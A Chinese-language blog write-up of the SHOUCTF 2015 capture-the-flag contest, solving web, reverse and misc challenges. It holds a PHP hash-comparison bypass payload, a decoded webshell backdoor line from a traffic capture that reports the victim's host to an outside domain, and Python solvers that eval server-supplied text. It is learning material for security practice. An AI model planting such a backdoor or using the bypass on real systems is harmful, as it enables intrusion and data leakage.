SHOUCTF 2015 write up

一次偶然的机会(CIC 部长推荐),接触到了这次 SHOUCTF 2015(上海海洋大学CTF)。本以为又会像BCTF那样签个到就结束了,结果碰着运气竟然做出了几题。感觉是很照顾我这种新手的CTF((orz

WEB – SHA1

邪恶组织的第三个web关卡,要求找到两个碰撞的sha1

http://202.121.66.254/74a89174426b40307102e165374ab8ab/test4.php

然而在网络上看了看,并没有找到SHA1的碰撞。遂研究代码。

1

发现 $_POST['a'] 及 $_POST['b'] 为数组时可以绕过。

提交 a[]=aaaa&b[]=bbbb

结果用 Fiddler 改 GET 为 POST 的时候,忘记加下面两行了,一直在想为啥没提交上去 = =##

Content-Length: 15
Content-Type: application/x-www-form-urlencoded

Flag: SHOUCTF{5h0uc7f_w36_l00_fuck_3qu4l}

WEB – 挑战书

邪恶组织和bingbo同学的斗争仍在继续,这次邪恶组织换了一个手法,改变了密码门的认证方式,要求选手完成一个很变态运算,邪恶组织自认为这种办法能阻挡一切勇士,然而在bingbo同学看来,邪恶组织仍然的是那么的逗比可笑。你能和bingbo同学一起证明邪恶组织的智商为0吗?

http://202.121.66.254/4034a346ccee15292d823416f7510a2f/evil.php

<html>
<head>
	<title>evil level4</title>
    <link rel='stylesheet' href='style.css' type='text/css'>
</head>
<body>



<section class="login">


<form method="post">
                <input type="text" required name="key" placeholder="Password" />
                <input type="submit"/>
        </form>

<!-- key is OEROCWHJJSMDKVYAKCPV -->
<!-- you should compute  sha256(md5($key."evi1salt")) and submit correct result in 2 seconds</br>-->
</section>

</body>
</html>

写程序提交即可(= =## python还不熟,用的EL)

2

Flag: SHOUCTF{X1eEZUzh1_TMD_SH1_2B_Y0ng_ZH3_ME_Sb_D3_Way}

REVERSE – re100

一道简单的逆向题~~~

reverse100_50bb572ae977cafec2ddaeff150e4ad34e183fc2

64位程序,所以用IDA64打开,直接F5了。

把几个变量转为char,Flag是原文保存的。

3

Flag: SHOUCTF{v3r_ySaEP_A_3Sr33C31}

等等,图中的v5、v6、v7储存方向是相反的(是因为整数储存方式的原因吗?),so..

Flag: SHOUCTF{EaSy_r3v3rS3_A_P13C3}

毕竟完全不会汇编.. 能做出一道reverse已经算万幸了orz

MISC – 中国砍刀

bingbo同学上周和白兔师父一起在拍档多喝咖啡,bingbo同学无意间跟白兔师父提到了过狗菜刀后门的问题,白兔师父表示呵呵一笑,于是现场抓了流量给bingbo同学看,没想到这一抓把白兔师父下了一跳,没想到自己的菜刀里面也有后门啊。你能发现这个过狗菜刀后门地址吗?

链接: http://pan.baidu.com/s/1o6ViY6Y 密码: 79mv

本题flag最终形式:SHOUCTF{backdoor_FLAG} FLAG为你找到的答案,只要域名形式

下载下来是一个 .pcapng 文件,用wireshark打开。woc,好多包。

4

因为题目说答案是域名,所以直接找DNS了~

5

噫!hm!后门!看我找到你了~

然而.. Wrong.. 一查发现 shifen.com 是家大公司的,怎么看都不感觉有后门的样子.. 毕竟不怎么会用 Wireshark,于是又碰运气找了几个。

当过滤到 POST 请求时,发现了几个特别的包。

6

看上去像在插一句话。两次解码其中的base64。

if($_COOKIE['Lyke']!=1){setcookie('Lyke',1);@file('http://www.api.com.de/Api.php?Url='.$_SERVER['HTTP_HOST']

发现了可疑的域名:www.api.com.de,提交,通过。

Flag: SHOUCTF{backdoor_api.com.de} 或 SHOUCTF{backdoor_www.api.com.de} (记不清了..)

MISC – 找不同

附件中有两个cmd.exe,看上去好像是相同的,其实不然,你能找出他们的不同吗

http://184.164.88.132/static/uploads/bfd9e9f4e4b4edd56a6f16cfa4b2e77c/cmd.zip

用 Beyond Compare 的 16 进制比较,发现文件末尾有不同,很快找到Flag。

7

Flag: SHOUCTF{3ACB23_FSCD32} (记不太清了..)

MISC – 口算题

bingbo同学最近和邪恶组织干上了,邪恶组织的人总是想给bingbo同学制造各种麻烦,以阻挡其前进的道路。这不,邪恶组织这次想故意刁难bingbo同学。bingbo同学看到他们的关卡后,笑了。

nc 139.129.5.159 23333

8

似乎要写程序计算。但是不熟悉nc,不知道怎么写orz

想到以前BCTF有类似的题目,于是拿了一个解答程序修改了一下。

# encoding=utf-8
# based on https://github.com/pwning/public-writeup/blob/master/bctf2015/prog300-experiment/solve.py
import sys
from socket import *
import math

TARGET = ('139.129.5.159', 23333)

s = socket()
s.connect(TARGET)

def rd(*suffixes):
    out = ''
    while 1:
        x = s.recv(1)
        if not x:
            raise EOFError()
        sys.stdout.write(x)
        sys.stdout.flush()
        out += x

        for suffix in suffixes:
            if out.endswith(suffix):
                break
        else:
            continue
        break
    return out

def pr(x):
    s.send(x+'\n')
    print "<%s" % x

for i in xrange(100):
    qs = re.findall(r'(.*) \= \?', rd('? '))
    qs[0] = qs[0].replace("/",".0/")
    print qs
    if qs:    
        val = eval(qs[0], {'__builtins__': None})
        print val
        pr("%d" % val)
rd('}')

9

Flag: SHOUCTF{Pr0gram_Just_F1r3t_Cha11enge}

MISC – 好玩的游戏

这是邪恶组织在MISC中的最后一个关卡,你能搞定他吗?

nc 139.129.5.159 5050

做完上一题,发现又多了一题,一看感觉好难 = =##

10

仔细想了想,发现其实并不复杂,把 50 25(明明是25个嘛!) 个单词和被打乱的单词按照字母顺序排序,然后寻找即可。

在上一题的代码上修改即可。

# encoding=utf-8
# based on https://github.com/pwning/public-writeup/blob/master/bctf2015/prog300-experiment/solve.py
# by Coxxs
import sys
from socket import *
import math
import re

TARGET = ('139.129.5.159', 5050)

s = socket()
s.connect(TARGET)

def rd(*suffixes):
    out = ''
    while 1:
        x = s.recv(1)
        if not x:
            raise EOFError()
        sys.stdout.write(x)
        sys.stdout.flush()
        out += x

        for suffix in suffixes:
            if out.endswith(suffix):
                break
        else:
            continue
        break
    return out

def pr(x):
    s.send(x+'\n')
    print "<%s" % x

rd(']') # [+] 你需要从50个单词中找出被打乱的单词的正确序列,规定时间为60秒钟.祝你们好运哦

for i in xrange(50):
    qs = re.findall(r'\[(.*)]', rd(']'))
    li = eval(qs[0]);
    li2 = []
    for i in li:
    	a = list(i)
    	a.sort()
    	li2.append(a)
    qs = re.findall(r': (.*)\n', rd('输入'))
    ans = list(qs[0])
    ans.sort()
    print li2.index(ans)
    pr(li[li2.index(ans)])

rd('}')

11

Flag: SHOUCTF{MA_MA_SHU0_N1_Z0ng_Sh1_ZH3_M3_L1u}

这次大概算我第一次真正参与过的CTF了吧(因为以前的完全解不出一题啊= =##)。还有几道题虽然尝试了,但是无果,还是挺想看看write up的。

另外不得不感谢这学期学校开的 Python 课程,虽然教的还是2,但还是受益匪浅,也碰巧在这次CTF用上了- -!

作为CTF的小菜鸟,一点一点学习吧 > <

Coxxs

2015-12-24:附:官方部分 write up http://pan.baidu.com/s/1o6Y7jCI 密码:azh5

《SHOUCTF 2015 write up》有1个想法

发表评论

电子邮件地址不会被公开。 必填项已用*标注